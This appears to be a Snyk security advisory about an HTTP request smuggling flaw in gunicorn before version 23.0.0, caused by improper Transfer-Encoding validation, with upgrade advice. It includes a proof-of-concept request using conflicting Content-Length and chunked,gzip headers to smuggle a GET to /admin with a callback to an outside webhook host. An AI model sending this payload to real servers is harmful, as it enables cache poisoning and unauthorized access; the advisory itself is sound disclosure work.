HTTP Request Smuggling Affecting gunicorn package, versions [,23.0.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-GUNICORN-9510910
  • published23 Mar 2025
  • disclosed20 Mar 2025
  • credit1nt3rc3pt0r

Introduced: 20 Mar 2025

NewCVE-2024-6827  (opens in a new tab)
CWE-444  (opens in a new tab)

How to fix?

Upgrade gunicorn to version 23.0.0 or higher.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. An attacker can manipulate session data, poison caches, or compromise data integrity by exploiting the fallback to Content-Length when Transfer-Encoding is not correctly handled.

PoC

POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

References

CVSS Base Scores

version 4.0
version 3.1